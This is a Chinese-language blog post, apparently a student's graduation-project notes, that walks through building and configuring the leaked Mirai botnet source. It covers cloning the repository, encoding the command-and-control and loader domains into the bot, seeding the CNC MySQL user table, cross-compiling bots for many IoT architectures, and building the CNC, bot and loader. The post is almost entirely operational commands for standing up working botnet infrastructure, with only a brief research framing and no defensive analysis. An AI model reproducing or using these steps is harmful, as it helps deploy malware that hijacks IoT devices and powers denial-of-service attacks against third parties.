毕业设计的题目是恶意代码Mirai的研究与实验,所有趁着刚学完打算写点文章做做笔记。从运行原理和原帖的安装指导中不难看出,安装主要分为编译,主控安装,接收器加载器安装等几部分。
1、 源码下载地址:https://github.com/jgamblin/Mirai-Source-Code
下载命令: git clone https://github.com/jgamblin/Mirai-Source-Code
2、 环境要求:
. 操作系统: linux
. gcc
. golang
. electric-fence
. mysql-server
. mysql-client
3、 环境安装:
. 安装gcc编译器:sudo apt-get install gcc (苹果电脑使用brew install gcc)
.安装编译环境:sudo apt-get install build-essential
. 安装go语言: sudo apt-get install golang (苹果电脑使用brew install golang)
. 安装内存调试工具electric-fence: sudo apt-get install electric-fence (苹果电脑使用brew install electric-fence )
. 安装数据库: sudo apt-get install mysql-server mysql-client(安装时需要设置数据库密码请记住)
4、 编译加密模块和配置CNC
cd Mirai-Source-Code-master
cd mirai/tools && gcc enc.c -o enc.out
./enc.out string Master_domain
将返回一段字符串(\x....)
./enc.out string Loader_domain (Master_domain表示主控服务器域名,Loader_domain表示Loader服务器域名)
将返回一段字符串(\x....)
修改/mirai/bot下tables.c文件,将执行上述两条命令返回的字符串分别替换add_entry(TABLE_CNC_DOMAIN 和 TABLE_SCAN_CB_DOMAIN)两项中类似的字符串
修改/scripts目录下db.sql文件,在CREATE DATABASE mirai后的空行添加 use mirai 字段
5、 启动MySQL服务
service mysql start
cat db.sql|mysql -uroot -proot (p后为数据库密码)
mysql -uroot -proot mirai
INSERT INTO users VALUES (NULL, 'mirai-user','mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');
exit
修改/mirai/cnc下main.go中database相关字段,与设置的数据库匹配
6、 配置交叉编译环境
命令行切换到scripts文件夹下
cd .. && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
cd ../scripts
sudo ./cross-compile.sh
编译过程会提示是否安装mysql,选否就可以
修改.bashrc,把刚才交叉编译的bin 目录加进去方便使用
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin/
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
修改完成后执行 mkdir ~/go和source ~/.bashrc
7、 编译CNC 和BOT
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
修改/mirai目录下build.sh文件,删除与armv61相关的语句
命令行切到/mirai下执行 ./build.sh debug telnet
cd ../loader
./build.sh
8、测试
telnet 127.0.0.1 输入账号密码,测试成功,此外debug文件夹下面会有我们编译好的文件。
网友评论